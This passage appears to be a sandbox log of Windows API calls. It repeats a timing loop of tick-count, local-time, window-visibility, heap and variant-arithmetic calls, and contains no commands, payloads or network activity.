GetTickCount () returned 0x115db42 [0180.165] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f08 | out: hHeap=0x3820000) returned 1 [0180.165] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ec78 | out: hHeap=0x3820000) returned 1 [0180.165] GetTickCount () returned 0x115db42 [0180.165] IsWindowVisible (hWnd=0x30268) returned 0 [0180.165] IsWindowVisible (hWnd=0x40298) returned 0 [0180.165] Sleep (dwMilliseconds=0x0) [0180.165] GetLocalTime (in: lpSystemTime=0x18ecac | out: lpSystemTime=0x18ecac*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0x2, wMilliseconds=0xf)) [0180.165] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ec7c, rgbDig=0x18ec5c | out: pnumprs=0x18ec7c, rgbDig=0x18ec5c) returned 0x0 [0180.165] VarNumFromParseNum (in: pnumprs=0x18ec7c, rgbDig=0x18ec5c, dwVtBits=0x20, pvar=0x18ecac | out: pvar=0x18ecac) returned 0x0 [0180.166] VarSub (in: pvarLeft=0x18ed0c, pvarRight=0x18ed40, pvarResult=0x18ed2c | out: pvarResult=0x18ed2c) returned 0x0 [0180.166] VarCmp (pvarLeft=0x18ed2c, pvarRight=0x18ecec, lcid=0x0, dwFlags=0x30001) returned 0x0 [0180.166] GetCurrentProcessId () returned 0x9e0 [0180.166] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ec78 [0180.166] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f08 [0180.166] PeekMessageA (in: lpMsg=0x18ebf8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ebf8) returned 0 [0180.166] GetTickCount () returned 0x115db42 [0180.166] GetTickCount () returned 0x115db42 [0180.166] GetTickCount () returned 0x115db42 [0180.166] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f08 | out: hHeap=0x3820000) returned 1 [0180.166] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ec78 | out: hHeap=0x3820000) returned 1 [0180.166] GetTickCount () returned 0x115db42 [0180.166] IsWindowVisible (hWnd=0x30268) returned 0 [0180.166] IsWindowVisible (hWnd=0x40298) returned 0 [0180.166] Sleep (dwMilliseconds=0x0) [0180.167] GetLocalTime (in: lpSystemTime=0x18ecac | out: lpSystemTime=0x18ecac*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0x2, wMilliseconds=0xf)) [0180.167] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ec7c, rgbDig=0x18ec5c | out: pnumprs=0x18ec7c, rgbDig=0x18ec5c) returned 0x0 [0180.167] VarNumFromParseNum (in: pnumprs=0x18ec7c, rgbDig=0x18ec5c, dwVtBits=0x20, pvar=0x18ecac | out: pvar=0x18ecac) returned 0x0 [0180.167] VarSub (in: pvarLeft=0x18ed0c, pvarRight=0x18ed40, pvarResult=0x18ed2c | out: pvarResult=0x18ed2c) returned 0x0 [0180.167] VarCmp (pvarLeft=0x18ed2c, pvarRight=0x18ecec, lcid=0x0, dwFlags=0x30001) returned 0x0 [0180.167] GetCurrentProcessId () returned 0x9e0 [0180.167] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ec78 [0180.167] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f08 [0180.167] PeekMessageA (in: lpMsg=0x18ebf8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ebf8) returned 0 [0180.167] GetTickCount () returned 0x115db42 [0180.167] GetTickCount () returned 0x115db42 [0180.167] GetTickCount () returned 0x115db42 [0180.167] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f08 | out: hHeap=0x3820000) returned 1 [0180.167] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ec78 | out: hHeap=0x3820000) returned 1 [0180.167] GetTickCount () returned 0x115db42 [0180.167] IsWindowVisible (hWnd=0x30268) returned 0 [0180.167] IsWindowVisible (hWnd=0x40298) returned 0 [0180.167] Sleep (dwMilliseconds=0x0) [0180.168] GetLocalTime (in: lpSystemTime=0x18ecac | out: lpSystemTime=0x18ecac*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0x2, wMilliseconds=0xf)) [0180.168] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ec7c, rgbDig=0x18ec5c | out: pnumprs=0x18ec7c, rgbDig=0x18ec5c) returned 0x0 [0180.168] VarNumFromParseNum (in: pnumprs=0x18ec7c, rgbDig=0x18ec5c, dwVtBits=0x20, pvar=0x18ecac | out: pvar=0x18ecac) returned 0x0 [0180.168] VarSub (in: pvarLeft=0x18ed0c, pvarRight=0x18ed40, pvarResult=0x18ed2c | out: pvarResult=0x18ed2c) returned 0x0 [0180.168] VarCmp (pvarLeft=0x18ed2c, pvarRight=0x18ecec, lcid=0x0, dwFlags=0x30001) returned 0x0 [0180.168] GetCurrentProcessId () returned 0x9e0 [0180.168] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ec78 [0180.168] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f08 [0180.168] PeekMessageA (in: lpMsg=0x18ebf8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ebf8) returned 0 [0180.168] GetTickCount () returned 0x115db42 [0180.168] GetTickCount () returned 0x115db42 [0180.168] GetTickCount () returned 0x115db42 [0180.168] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f08 | out: hHeap=0x3820000) returned 1 [0180.168] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ec78 | out: hHeap=0x3820000) returned 1 [0180.168] GetTickCount () returned 0x115db42 [0180.168] IsWindowVisible (hWnd=0x30268) returned 0 [0180.168] IsWindowVisible (hWnd=0x40298) returned 0 [0180.168] Sleep (dwMilliseconds=0x0) [0180.169] GetLocalTime (in: lpSystemTime=0x18ecac | out: lpSystemTime=0x18ecac*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0x2, wMilliseconds=0xf)) [0180.169] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ec7c, rgbDig=0x18ec5c | out: pnumprs=0x18ec7c, rgbDig=0x18ec5c) returned 0x0 [0180.169] VarNumFromParseNum (in: pnumprs=0x18ec7c, rgbDig=0x18ec5c, dwVtBits=0x20, pvar=0x18ecac | out: pvar=0x18ecac) returned 0x0 [0180.169] VarSub (in: pvarLeft=0x18ed0c, pvarRight=0x18ed40, pvarResult=0x18ed2c | out: pvarResult=0x18ed2c) returned 0x0 [0180.169] VarCmp (pvarLeft=0x18ed2c, pvarRight=0x18ecec, lcid=0x0, dwFlags=0x30001) returned 0x0 [0180.169] GetCurrentProcessId () returned 0x9e0 [0180.169] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ec78 [0180.169] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f08 [0180.169] PeekMessageA (in: lpMsg=0x18ebf8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ebf8) returned 0 [0180.169] GetTickCount () returned 0x115db42 [0180.169] GetTickCount () returned 0x115db42 [0180.169] GetTickCount () returned 0x115db42 [0180.170] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f08 | out: hHeap=0x3820000) returned 1 [0180.170] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ec78 | out: hHeap=0x3820000) returned 1 [0180.170] GetTickCount () returned 0x115db42 [0180.170] IsWindowVisible (hWnd=0x30268) returned 0 [0180.170] IsWindowVisible (hWnd=0x40298) returned 0 [0180.170] Sleep (dwMilliseconds=0x0) [0180.170] GetLocalTime (in: lpSystemTime=0x18ecac | out: lpSystemTime=0x18ecac*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0x2, wMilliseconds=0xf)) [0180.170] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ec7c, rgbDig=0x18ec5c | out: pnumprs=0x18ec7c, rgbDig=0x18ec5c) returned 0x0 [0180.170] VarNumFromParseNum (in: pnumprs=0x18ec7c, rgbDig=0x18ec5c, dwVtBits=0x20, pvar=0x18ecac | out: pvar=0x18ecac) returned 0x0 [0180.170] VarSub (in: pvarLeft=0x18ed0c, pvarRight=0x18ed40, pvarResult=0x18ed2c | out: pvarResult=0x18ed2c) returned 0x0 [0180.170] VarCmp (pvarLeft=0x18ed2c, pvarRight=0x18ecec, lcid=0x0, dwFlags=0x30001) returned 0x0 [0180.170] GetCurrentProcessId () returned 0x9e0 [0180.170] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ec78 [0180.170] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f08 [0180.170] PeekMessageA (in: lpMsg=0x18ebf8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ebf8) returned 0 [0180.170] GetTickCount () returned 0x115db42 [0180.170] GetTickCount () returned 0x115db42 [0180.170] GetTickCount () returned 0x115db42 [0180.171] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f08 | out: hHeap=0x3820000) returned 1 [0180.171] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ec78 | out: hHeap=0x3820000) returned 1 [0180.171] GetTickCount () returned 0x115db42 [0180.171] IsWindowVisible (hWnd=0x30268) returned 0 [0180.171] IsWindowVisible (hWnd=0x40298) returned 0 [0180.171] Sleep (dwMilliseconds=0x0) [0180.171] GetLocalTime (in: lpSystemTime=0x18ecac | out: lpSystemTime=0x18ecac*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0x2, wMilliseconds=0xf)) [0180.171] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ec7c, rgbDig=0x18ec5c | out: pnumprs=0x18ec7c, rgbDig=0x18ec5c) returned 0x0 [0180.171] VarNumFromParseNum (in: pnumprs=0x18ec7c, rgbDig=0x18ec5c, dwVtBits=0x20, pvar=0x18ecac | out: pvar=0x18ecac) returned 0x0 [0180.171] VarSub (in: pvarLeft=0x18ed0c, pvarRight=0x18ed40, pvarResult=0x18ed2c | out: pvarResult=0x18ed2c) returned 0x0 [0180.171] VarCmp (pvarLeft=0x18ed2c, pvarRight=0x18ecec, lcid=0x0, dwFlags=0x30001) returned 0x0 [0180.172] GetCurrentProcessId () returned 0x9e0 [0180.172] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ec78 [0180.172] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f08 [0180.172] PeekMessageA (in: lpMsg=0x18ebf8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ebf8) returned 0 [0180.172] GetTickCount () returned 0x115db42 [0180.172] GetTickCount () returned 0x115db42 [0180.172] GetTickCount () returned 0x115db42 [0180.172] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f08 | out: hHeap=0x3820000) returned 1 [0180.172] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ec78 | out: hHeap=0x3820000) returned 1 [0180.172] GetTickCount () returned 0x115db42 [0180.172] IsWindowVisible (hWnd=0x30268) returned 0 [0180.172] IsWindowVisible (hWnd=0x40298) returned 0 [0180.172] Sleep (dwMilliseconds=0x0) [0180.172] GetLocalTime (in: lpSystemTime=0x18ecac | out: lpSystemTime=0x18ecac*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0x2, wMilliseconds=0xf)) [0180.172] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ec7c, rgbDig=0x18ec5c | out: pnumprs=0x18ec7c, rgbDig=0x18ec5c) returned 0x0 [0180.172] VarNumFromParseNum (in: pnumprs=0x18ec7c, rgbDig=0x18ec5c, dwVtBits=0x20, pvar=0x18ecac | out: pvar=0x18ecac) returned 0x0 [0180.172] VarSub (in: pvarLeft=0x18ed0c, pvarRight=0x18ed40, pvarResult=0x18ed2c | out: pvarResult=0x18ed2c) returned 0x0 [0180.172] VarCmp (pvarLeft=0x18ed2c, pvarRight=0x18ecec, lcid=0x0, dwFlags=0x30001) returned 0x0 [0180.173] GetCurrentProcessId () returned 0x9e0 [0180.173] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ec78 [0180.173] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f08 [0180.173] PeekMessageA (in: lpMsg=0x18ebf8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ebf8) returned 0 [0180.173] GetTickCount () returned 0x115db42 [0180.173] GetTickCount () returned 0x115db42 [0180.173] GetTickCount () returned 0x115db42 [0180.173] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f08 | out: hHeap=0x3820000) returned 1 [0180.173] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ec78 | out: hHeap=0x3820000) returned 1 [0180.173] GetTickCount () returned 0x115db52 [0180.173] IsWindowVisible (hWnd=0x30268) returned 0 [0180.173] IsWindowVisible (hWnd=0x40298) returned 0 [0180.173] Sleep (dwMilliseconds=0x0) [0180.174] GetLocalTime (in: lpSystemTime=0x18ecac | out: lpSystemTime=0x18ecac*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0x2, wMilliseconds=0x1f)) [0180.174] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ec7c, rgbDig=0x18ec5c | out: pnumprs=0x18ec7c, rgbDig=0x18ec5c) returned 0x0 [0180.174] VarNumFromParseNum (in: pnumprs=0x18ec7c, rgbDig=0x18ec5c, dwVtBits=0x20, pvar=0x18ecac | out: pvar=0x18ecac) returned 0x0 [0180.174] VarSub (in: pvarLeft=0x18ed0c, pvarRight=0x18ed40, pvarResult=0x18ed2c | out: pvarResult=0x18ed2c) returned 0x0 [0180.174] VarCmp (pvarLeft=0x18ed2c, pvarRight=0x18ecec, lcid=0x0, dwFlags=0x30001) returned 0x0 [0180.174] GetCurrentProcessId () returned 0x9e0 [0180.174] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ec78 [0180.174] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f08 [0180.174] PeekMessageA (in: lpMsg=0x18ebf8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ebf8) returned 0 [0180.174] GetTickCount () returned 0x115db52 [0180.174] GetTickCount () returned 0x115db52 [0180.174] GetTickCount () returned 0x115db52 [0180.174] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f08 | out: hHeap=0x3820000) returned 1 [0180.174] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ec78 | out: hHeap=0x3820000) returned 1 [0180.174] GetTickCount () returned 0x115db52 [0180.174] IsWindowVisible (hWnd=0x30268) returned 0 [0180.174] IsWindowVisible (hWnd=0x40298) returned 0 [0180.174] Sleep (dwMilliseconds=0x0) [0180.175] GetLocalTime (in: lpSystemTime=0x18ecac | out: lpSystemTime=0x18ecac*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0x2, wMilliseconds=0x1f)) [0180.175] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ec7c, rgbDig=0x18ec5c | out: pnumprs=0x18ec7c, rgbDig=0x18ec5c) returned 0x0 [0180.175] VarNumFromParseNum (in: pnumprs=0x18ec7c, rgbDig=0x18ec5c, dwVtBits=0x20, pvar=0x18ecac | out: pvar=0x18ecac) returned 0x0 [0180.175] VarSub (in: pvarLeft=0x18ed0c, pvarRight=0x18ed40, pvarResult=0x18ed2c | out: pvarResult=0x18ed2c) returned 0x0 [0180.175] VarCmp (pvarLeft=0x18ed2c, pvarRight=0x18ecec, lcid=0x0, dwFlags=0x30001) returned 0x0 [0180.175] GetCurrentProcessId () returned 0x9e0 [0180.175] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ec78 [0180.175] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f08 [0180.175] PeekMessageA (in: lpMsg=0x18ebf8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ebf8) returned 0 [0180.175] GetTickCount () returned 0x115db52 [0180.175] GetTickCount () returned 0x115db52 [0180.175] GetTickCount () returned 0x115db52 [0180.175] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f08 | out: hHeap=0x3820000) returned 1 [0180.175] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ec78 | out: hHeap=0x3820000) returned 1 [0180.175] GetTickCount () returned 0x115db52 [0180.175] IsWindowVisible (hWnd=0x30268) returned 0 [0180.175] IsWindowVisible (hWnd=0x40298) returned 0 [0180.175] Sleep (dwMilliseconds=0x0) [0180.176] GetLocalTime (in: lpSystemTime=0x18ecac | out: lpSystemTime=0x18ecac*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0x2, wMilliseconds=0x1f)) [0180.176] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ec7c, rgbDig=0x18ec5c | out: pnumprs=0x18ec7c, rgbDig=0x18ec5c) returned 0x0 [0180.176] VarNumFromParseNum (in: pnumprs=0x18ec7c, rgbDig=0x18ec5c, dwVtBits=0x20, pvar=0x18ecac | out: pvar=0x18ecac) returned 0x0 [0180.176] VarSub (in: pvarLeft=0x18ed0c, pvarRight=0x18ed40, pvarResult=0x18ed2c | out: pvarResult=0x18ed2c) returned 0x0 [0180.176] VarCmp (pvarLeft=0x18ed2c, pvarRight=0x18ecec, lcid=0x0, dwFlags=0x30001) returned 0x0 [0180.176] GetCurrentProcessId () returned 0x9e0 [0180.176] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ec78 [0180.176] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f08 [0180.176] PeekMessageA (in: lpMsg=0x18ebf8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ebf8) returned 0 [0180.176] GetTickCount () returned 0x115db52 [0180.176] GetTickCount () returned 0x115db52 [0180.176] GetTickCount () returned 0x115db52 [0180.176] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f08 | out: hHeap=0x3820000) returned 1 [0180.176] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ec78 | out: hHeap=0x3820000) returned 1 [0180.176] GetTickCount () returned 0x115db52 [0180.176] IsWindowVisible (hWnd=0x30268) returned 0 [0180.176] IsWindowVisible (hWnd=0x40298) returned 0 [0180.176] Sleep (dwMilliseconds=0x0) [0180.177] GetLocalTime (in: lpSystemTime=0x18ecac | out: lpSystemTime=0x18ecac*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0x2, wMilliseconds=0x1f)) [0180.177] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ec7c, rgbDig=0x18ec5c | out: pnumprs=0x18ec7c, rgbDig=0x18ec5c) returned 0x0 [0180.177] VarNumFromParseNum (in: pnumprs=0x18ec7c, rgbDig=0x18ec5c, dwVtBits=0x20, pvar=0x18ecac | out: pvar=0x18ecac) returned 0x0 [0180.177] VarSub (in: pvarLeft=0x18ed0c, pvarRight=0x18ed40, pvarResult=0x18ed2c | out: pvarResult=0x18ed2c) returned 0x0 [0180.177] VarCmp (pvarLeft=0x18ed2c, pvarRight=0x18ecec, lcid=0x0, dwFlags=0x30001) returned 0x0 [0180.177] GetCurrentProcessId () returned 0x9e0 [0180.177] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ec78 [0180.177] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f08 [0180.177] PeekMessageA (in: lpMsg=0x18ebf8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ebf8) returned 0 [0180.177] GetTickCount () returned 0x115db52 [0180.177] GetTickCount () returned 0x115db52 [0180.177] GetTickCount () returned 0x115db52 [0180.177] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f08 | out: hHeap=0x3820000) returned 1 [0180.177] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ec78 | out: hHeap=0x3820000) returned 1 [0180.177] GetTickCount () returned 0x115db52 [0180.177] IsWindowVisible (hWnd=0x30268) returned 0 [0180.177] IsWindowVisible (hWnd=0x40298) returned 0 [0180.177] Sleep (dwMilliseconds=0x0) [0180.177] GetLocalTime (in: lpSystemTime=0x18ecac | out: lpSystemTime=0x18ecac*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0x2, wMilliseconds=0x1f)) [0180.178] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ec7c, rgbDig=0x18ec5c | out: pnumprs=0x18ec7c, rgbDig=0x18ec5c) returned 0x0 [0180.178] VarNumFromParseNum (in: pnumprs=0x18ec7c, rgbDig=0x18ec5c, dwVtBits=0x20, pvar=0x18ecac | out: pvar=0x18ecac) returned 0x0 [0180.178] VarSub (in: pvarLeft=0x18ed0c, pvarRight=0x18ed40, pvarResult=0x18ed2c | out: pvarResult=0x18ed2c) returned 0x0 [0180.178] VarCmp (pvarLeft=0x18ed2c, pvarRight=0x18ecec, lcid=0x0, dwFlags=0x30001) returned 0x0 [0180.178] GetCurrentProcessId () returned 0x9e0 [0180.178] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ec78 [0180.178] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f08 [0180.178] PeekMessageA (in: lpMsg=0x18ebf8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ebf8) returned 0 [0180.178] GetTickCount () returned 0x115db52 [0180.178] GetTickCount () returned 0x115db52 [0180.178] GetTickCount () returned 0x115db52 [0180.178] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f08 | out: hHeap=0x3820000) returned 1 [0180.178] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ec78 | out: hHeap=0x3820000) returned 1 [0180.178] GetTickCount () returned 0x115db52 [0180.178] IsWindowVisible (hWnd=0x30268) returned 0 [0180.178] IsWindowVisible (hWnd=0x40298) returned 0 [0180.178] Sleep (dwMilliseconds=0x0) [0180.178] GetLocalTime (in: lpSystemTime=0x18ecac | out: lpSystemTime=0x18ecac*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0x2, wMilliseconds=0x1f)) [0180.178] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ec7c, rgbDig=0x18ec5c | out: pnumprs=0x18ec7c, rgbDig=0x18ec5c) returned 0x0 [0180.179] VarNumFromParseNum (in: pnumprs=0x18ec7c, rgbDig=0x18ec5c, dwVtBits=0x20, pvar=0x18ecac | out: pvar=0x18ecac) returned 0x0 [0180.179] VarSub (in: pvarLeft=0x18ed0c, pvarRight=0x18ed40, pvarResult=0x18ed2c | out: pvarResult=0x18ed2c) returned 0x0 [0180.179] VarCmp (pvarLeft=0x18ed2c, pvarRight=0x18ecec, lcid=0x0, dwFlags=0x30001) returned 0x0 [0180.179] GetCurrentProcessId () returned 0x9e0 [0180.179] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ec78 [0180.179] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f08 [0180.179] PeekMessageA (in: lpMsg=0x18ebf8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ebf8) returned 0 [0180.179] GetTickCount () returned 0x115db52 [0180.179] GetTickCount () returned 0x115db52 [0180.179] GetTickCount () returned 0x115db52 [0180.179] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f08 | out: hHeap=0x3820000) returned 1 [0180.179] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ec78 | out: hHeap=0x3820000) returned 1 [0180.179] GetTickCount () returned 0x115db52 [0180.179] IsWindowVisible (hWnd=0x30268) returned 0 [0180.179] IsWindowVisible (hWnd=0x40298) returned 0 [0180.179] Sleep (dwMilliseconds=0x0) [0180.179] GetLocalTime (in: lpSystemTime=0x18ecac | out: lpSystemTime=0x18ecac*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0x2, wMilliseconds=0x1f)) [0180.179] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ec7c, rgbDig=0x18ec5c | out: pnumprs=0x18ec7c, rgbDig=0x18ec5c) returned 0x0 [0180.180] VarNumFromParseNum (in: pnumprs=0x18ec7c, rgbDig=0x18ec5c, dwVtBits=0x20, pvar=0x18ecac | out: pvar=0x18ecac) returned 0x0 [0180.180] VarSub (in: pvarLeft=0x18ed0c, pvarRight=0x18ed40, pvarResult=0x18ed2c | out: pvarResult=0x18ed2c) returned 0x0 [0180.180] VarCmp (pvarLeft=0x18ed2c, pvarRight=0x18ecec, lcid=0x0, dwFlags=0x30001) returned 0x0 [0180.180] GetCurrentProcessId () returned 0x9e0 [0180.180] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ec78 [0180.180] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f08 [0180.180] PeekMessageA (in: lpMsg=0x18ebf8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ebf8) returned 0 [0180.180] GetTickCount () returned 0x115db52 [0180.180] GetTickCount () returned 0x115db52 [0180.180] GetTickCount () returned 0x115db52 [0180.180] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f08 | out: hHeap=0x3820000) returned 1 [0180.180] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ec78 | out: hHeap=0x3820000) returned 1 [0180.180] GetTickCount () returned 0x115db52 [0180.180] IsWindowVisible (hWnd=0x30268) returned 0 [0180.180] IsWindowVisible (hWnd=0x40298) returned 0 [0180.180] Sleep (dwMilliseconds=0x0) [0180.180] GetLocalTime (in: lpSystemTime=0x18ecac | out: lpSystemTime=0x18ecac*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0x2, wMilliseconds=0x1f)) [0180.180] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ec7c, rgbDig=0x18ec5c | out: pnumprs=0x18ec7c, rgbDig=0x18ec5c) returned 0x0 [0180.180] VarNumFromParseNum (in: pnumprs=0x18ec7c, rgbDig=0x18ec5c, dwVtBits=0x20, pvar=0x18ecac | out: pvar=0x18ecac) returned 0x0 [0180.181] VarSub (in: pvarLeft=0x18ed0c, pvarRight=0x18ed40, pvarResult=0x18ed2c | out: pvarResult=0x18ed2c) returned 0x0 [0180.181] VarCmp (pvarLeft=0x18ed2c, pvarRight=0x18ecec, lcid=0x0, dwFlags=0x30001) returned 0x0 [0180.181] GetCurrentProcessId () returned 0x9e0 [0180.181] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ec78 